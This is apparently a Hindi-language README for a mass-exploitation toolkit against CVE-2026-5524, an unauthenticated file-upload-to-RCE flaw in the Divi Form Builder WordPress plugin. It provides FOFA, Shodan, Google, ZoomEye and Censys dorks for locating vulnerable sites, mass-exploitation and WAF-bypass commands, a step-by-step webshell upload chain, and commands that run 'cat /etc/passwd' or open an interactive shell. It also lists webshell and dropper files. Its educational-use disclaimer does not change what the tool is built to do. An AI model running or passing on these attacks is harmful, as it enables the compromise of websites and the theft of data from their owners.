CVE-2026-5524 — Divi Form Builder में अप्रमाणिक RCE

CVE-2026-5524 के लिए मास एक्सप्लॉइट टूलकिट, जो WordPress प्लगइन Divi Form Builder <= 5.1.8 में एक अप्रमाणिक मनमाना फ़ाइल अपलोड भेद्यता है, जो रिमोट कोड निष्पादन की ओर ले जाती है।

विषयसूची

• विवरण
• डॉर्क्स
• स्थापना
• उपयोग
  • एकल लक्ष्य
  • सामूहिक शोषण
  • उन्नत बायपास
  • कमांड निष्पादन
• भेद्यता विवरण
• बायपास तकनीकें
• तकनीकी स्टैक
• प्रोजेक्ट संरचना
• हमला प्रवाह
• अस्वीकरण

विवरण

WordPress के लिए Divi Form Builder प्लगइन में एक अप्रमाणिक मनमाना फ़ाइल अपलोड भेद्यता है। do_image_upload() हैंडलर उपयोगकर्ता-नियंत्रित acceptFileTypes POST पैरामीटर को सीधे एक रेगुलर एक्सप्रेशन में पास करता है जिसका उपयोग फ़ाइल एक्सटेंशन को मान्य करने के लिए किया जाता है। phtml जैसा मान प्रदान करके, एक हमलावर प्लगइन के .htaccess नियम को बायपास कर सकता है जो केवल .php एक्सटेंशन को ब्लॉक करता है और PHP-निष्पादन योग्य एक्सटेंशन (.phtml, .phar, .php5, .php7, और इसी तरह) के साथ एक वेबशेल अपलोड कर सकता है।

एक बार फ़ाइल /wp-content/uploads/de_fb_uploads/ में पहुंच जाती है, Apache इसे PHP के रूप में निष्पादित करता है, जिससे हमलावर को वेब सर्वर उपयोगकर्ता के रूप में रिमोट कोड निष्पादन मिलता है।

यह समस्या Divi Form Builder 5.1.9 में ठीक की गई है।

डॉर्क्स

FOFA

body="de_fb_obj" && body="fb_nonce"

Shodan

http.html:"de_fb_obj" http.html:"fb_nonce"

Google

inurl:"/wp-content/plugins/divi-form-builder/"

ZoomEye

app:"WordPress" && body:"de_fb_obj"

Censys

services.http.response.body: "de_fb_obj"

स्थापना

आवश्यकताएँ: Linux, macOS, या WSL पर Python 3.8 या नया।

git clone https://github.com/caterscam/CVE-2026-5524-PoC/
cd CVE-2026-5524-PoC
pip3 install -r requirements.txt

requirements.txt

requests>=2.28.0
urllib3>=1.26.0

उपयोग

एकल लक्ष्य

python3 CVE-2026-5524.py -u https://target.com

सामूहिक शोषण

python3 CVE-2026-5524.py -l targets.txt --shell-file bypass.phtml --aggressive --no-verify -o pwned.jsonl -t 20

उन्नत बायपास

WAF (NinjaFirewall, Wordfence, ModSecurity) या कड़े Apache या nginx कॉन्फ़िगरेशन वाले लक्ष्यों के लिए।

python3 CVE-2026-5524.py -u https://target.com --shell-file bypass.phtml --aggressive --no-verify --debug

कमांड निष्पादन

सफल अपलोड के बाद, स्क्रिप्ट तुरंत एक कमांड निष्पादित कर सकती है या एक इंटरैक्टिव शेल में प्रवेश कर सकती है।

python3 CVE-2026-5524.py -u https://target.com --cmd "id; uname -a; cat /etc/passwd"
python3 CVE-2026-5524.py -u https://target.com --shell

फ़्लैग

भेद्यता विवरण

कमजोर कोड

कमजोर हैंडलर उपयोगकर्ता इनपुट से बिना सैनिटाइजेशन के एक रेगुलर एक्सप्रेशन बनाता है।

public function do_image_upload() {
    $accepted = $_POST['acceptFileTypes'];
    $pattern  = '/\\.(' . $accepted . ')$/i';

    if (preg_match($pattern, $filename)) {
        move_uploaded_file($tmp, $dest);
    }
}

acceptFileTypes=phtml भेजने पर, परिणामी रेगुलर एक्सप्रेशन /\.(phtml)$/i .phtml में समाप्त होने वाले फ़ाइलनामों से मेल खाता है, भले ही प्लगइन का अपना .htaccess फ़ाइल केवल .php एक्सटेंशन को ब्लॉक करता है। Apache फिर अपलोड की गई फ़ाइल को PHP के रूप में निष्पादित करता है, जिससे रिमोट कोड निष्पादन होता है।

पुष्ट हमला श्रृंखला

1. एक पेज को क्रॉल करें जिसमें Divi Form Builder फ़ॉर्म एम्बेडेड है (/, /contact, /quote, आदि)। Varnish, WP Rocket और अन्य पेज कैश को हराने के लिए एक ?nocache=<random> पैरामीटर जोड़ें जो अन्यथा एक पुराना नॉन्स प्रस्तुत करेगा।

2. स्थानीयकृत JavaScript ऑब्जेक्ट से fb_nonce मान निकालें:

   root@kitploit:~

   de_fb_obj = {"fb_nonce":"<10 hex characters>", ...}
   

3. /wp-admin/admin-ajax.php पर मल्टीपार्ट फॉर्म POST करें:

   root@kitploit:~

   action=de_fb_image_upload
   fb_nonce=<nonce>
   acceptFileTypes=phtml
   [email protected]
   

4. JSON प्रतिक्रिया से फ़ाइल URL पढ़ें:

   root@kitploit:~

   {"files":[{"name":"abc123.phtml","url":"https://target/wp-content/uploads/de_fb_uploads/abc123.phtml",...}]}
   

5. बेस64-एन्कोडेड कमांड के साथ शेल का अनुरोध करें:

   root@kitploit:~

   curl "https://target/wp-content/uploads/de_fb_uploads/abc123.phtml?x=$(echo -n id | base64)"
   

बायपास तकनीकें

स्क्रिप्ट प्राथमिकता क्रम में प्रत्येक तकनीक का प्रयास करती है और, जब --aggressive सेट होता है, तो पहली अपलोड सफलता रिपोर्ट करने के बाद भी हर एक का प्रयास करती है।

तकनीकी स्टैक

शोषण स्क्रिप्ट

कस्टम शेल (bypass.phtml)

प्रोजेक्ट संरचना

cve-2026-5524/
|-- CVE-2026-5524.py          मुख्य शोषण स्क्रिप्ट
|-- bypass.phtml              16 KB मल्टी-लेयर PHP वेबशेल
|-- htaccess_enable.phtml     ड्रॉपर जो पुनः-सक्षम .htaccess लिखता है
|-- user_ini.phtml            ड्रॉपर जो PHP-FPM के लिए .user.ini लिखता है
|-- targets.txt               उदाहरण लक्ष्य सूची
|-- pwned.jsonl               सामूहिक स्कैन के दौरान -o फ़्लैग द्वारा उत्पन्न
|-- requirements.txt          Python निर्भरताएँ
`-- README.md                 यह दस्तावेज़

हमला प्रवाह

+--------------------------------------------------+
| 1. टोही                                          |
|    GET /?nocache=<random>                        |
|    de_fb_obj से fb_nonce पार्स करें                |
+-------------------------+------------------------+
                          |
                          v
+--------------------------------------------------+
| 2. शोषण तैयार करें                               |
|    POST /wp-admin/admin-ajax.php                 |
|    action=de_fb_image_upload                     |
|    acceptFileTypes=phtml                         |
|    [email protected]                             |
+-------------------------+------------------------+
                          |
                          v
+--------------------------------------------------+
| 3. सर्वर फ़ाइल स्वीकार करता है और संग्रहीत करता है|
|    /uploads/de_fb_uploads/<random>.phtml         |
+-------------------------+------------------------+
                          |
                          v
+--------------------------------------------------+
| 4. निष्पादित करें                                |
|    GET shell.phtml?x=base64(command)             |
|    रिमोट कोड निष्पादन प्राप्त हुआ                |
+--------------------------------------------------+

अस्वीकरण

यह उपकरण केवल शैक्षिक उद्देश्यों और अधिकृत पैठ परीक्षण अभियानों के दौरान उपयोग के लिए प्रदान किया गया है। स्वीकार्य उपयोग के उदाहरणों में शामिल हैं:

• बग बाउंटी प्रोग्राम जो स्पष्ट रूप से लक्ष्य के परीक्षण की अनुमति देते हैं
• कैप्चर द फ़्लैग प्रतियोगिताएँ और समर्पित प्रयोगशाला वातावरण
• संपत्ति स्वामी से लिखित अनुमति के साथ आंतरिक सुरक्षा मूल्यांकन
• नियंत्रित सेटिंग में किए गए शैक्षणिक सुरक्षा अनुसंधान

उन प्रणालियों के विरुद्ध अनधिकृत उपयोग जिनके आप स्वामी नहीं हैं या जिनके परीक्षण के लिए आपके पास स्पष्ट लिखित अनुमति नहीं है, लगभग हर क्षेत्राधिकार में अवैध है और सख्ती से प्रतिबंधित है। लेखक इस कोड के दुरुपयोग का समर्थन नहीं करता है और न ही इसके लिए जिम्मेदारी लेता है।

J'ai la permission et je suis autorisé à effectuer ce pentest. (मेरे पास अनुमति है और मैं इस पेंटेस्ट को करने के लिए अधिकृत हूं)

संभावित रूप से प्रासंगिक कानूनों में इंडोनेशिया का UU ITE, संयुक्त राज्य अमेरिका का कंप्यूटर फ्रॉड एंड अब्यूज़ एक्ट, यूरोपीय संघ का साइबरक्राइम कन्वेंशन और अन्य स्थानों पर समान कानून शामिल हैं। संदेह होने पर, पहले लिखित प्राधिकरण प्राप्त करें।

लाइसेंस

केवल शैक्षिक उपयोग। पूर्ण उपयोग शर्तों के लिए अस्वीकरण अनुभाग देखें।